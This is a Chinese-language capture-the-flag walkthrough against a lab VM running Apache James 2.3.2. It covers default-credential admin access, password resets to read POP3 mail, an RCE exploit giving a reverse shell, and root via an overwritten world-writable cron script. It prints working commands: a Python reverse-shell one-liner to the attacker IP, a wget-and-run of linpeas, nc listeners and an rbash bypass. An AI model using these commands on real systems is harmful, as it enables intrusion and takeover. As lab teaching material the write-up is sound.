渗透思路:
nmap扫描---->默认账号登录James Remote Admin修改用户密码---->登录pop3端口查看邮件内容找到系统登陆的账户密码---->ssh登录/利用Apache James Server 2.3.2远程命令执行漏洞获得反弹shell----->查找权限777的文件,并用定时任务提权
环境信息:
靶机:192.168.101.42
攻击机:192.168.101.34
具体步骤:
步骤1:nmap扫描
sudo nmap -sS -A -p- 192.168.101.42
除了常规的ssh和http服务,还扫出一堆JAMES,有诡异……看这smtp和pop3都被扫出来了,这关恐怕和邮件大有关系
步骤2:查看邮件内容找到系统登陆的账户密码
在80端口逛了一圈(http://192.168.101.42),还dirb扫描了了一下网站目录,一无所获。
于是把矛头转向了邮件服务。
在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers搜索“ JAMES”,可以搜到远程命令执行漏洞,如下图红框所示,可把我高兴坏了。(我最终使用的是2021-09-28的那个)
一看利用成功要满足两个基本条件:
(1)James Remote Administration Tool的用户名密码是默认的root/root
(2)需要有用户登录系统才会反弹shell
emmmm到目前为止还不知道可以登录系统的账号密码呢……看来利用这个漏洞的条件还不具备。
先试试把登录系统的账号密码弄到手吧~
目前知道James Remote Administration的默认用户名密码是root/root了,碰碰运气。
尝试登陆:
telnet 192.168.101.42 4555
根据提示输入用户名root密码root,真的登录成功了。
用listusers命令看一下当前有哪些邮箱账户,可以看到一共有6个账户,但其中有一个不太正经(../../../../../../../../etc/bash_completion.d),这个应该是我之前尝试执行exploit的时候,脚本创建的用户。
把正经账号的密码都改一下,用setpassword命令,密码全都改成cat,比如
setpassword james cat
然后依次用每个账户登录pop3,查看邮件内容,比如用james/cat登录,并查看邮件列表
telnet 192.168.101.42 110 1 ⨯
USER james
PASS cat
LIST
james的邮箱中没有邮件,用quit命令退出,换下一个用户
到john的时候,发现这个账户的邮箱中有一封邮件,用RETR 1命令查看邮件内容
从 RETR 1 的返回结果可见,mindy的邮箱中可能会有一封包含账户和临时密码的邮件。
用mindy账户登录,发送LIST命令发现有两封邮件,用RETR命令依次查看两封邮件内容,发现账号密码在第二封邮件中:mindy/P@55W0rd1!2@
步骤3:mindy用户ssh登录获得shell,或者利用Apache James Server 2.3.2远程命令执行漏洞获得反弹shell
之前在攻击机上执行过exploit
python3 50347.py 192.168.101.42 192.168.101.34 443
现在在攻击机上用nc监听443端口
nc -nlvp 443
mindy用户进行ssh登录
mindy用户登录之后没有获得shell,但是攻击机的443端口获得反弹shell了。
我一开始还觉得这个方法好鸡肋啊,因为在网上查到,mindy用户之所以ssh登录没有直接获得shell是由于我之前执行exploit的时候没有在命令的最后加&,导致mindy用户登录后不能控制系统。
其实我都可以用mindy用户ssh登录系统了,为啥还需要反弹shell呢?
于是我一狠心,把exploit创建的账号../../../../../../../../etc/bash_completion.d删掉了(用deluser命令)
然后用mindy进行ssh登录,登录之后我发现mindy的shell是rbash……一大堆命令不能执行,还是反弹shell香啊TAT
后面还是在反弹shell中操作
首先在mindy的家目录下找到了user.txt,这个应该是一个flag
步骤4:定时任务提权
先试试linpeas.sh能不能找到点啥
攻击机在80端口起http服务
python2 -m SimpleHTTPServer 80
反弹shell中进入/tmp目录输入如下命令,下载并运行linpeas.sh
wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
然而并没有找到什么有用的……
自己找找咯,找权限777的文件的时候发现了一个叫tmp.py的文件
find / -perm 777 -type f 2>/dev/null
其作用为删除/tmp目录下所有文件,看上去是个非常有可能成为定时任务的脚本
尝试一下定时任务提权,把tmp.py的内容改成python反弹shell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/tmp.py
攻击机监听2333端口
nc -nlvp 2333
大概几分钟之后,2333端口就可以获得root的shell
来看看具体是哪个定时任务?用如下命令找到该定时任务每3分钟执行一次,在/var/spool/cron/crontabs/root中
find / -type f | xargs grep tmp.py
后记:
后来在别的wp中看到另一种绕过rbash的方法:
ssh mindy@192.168.101.42 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"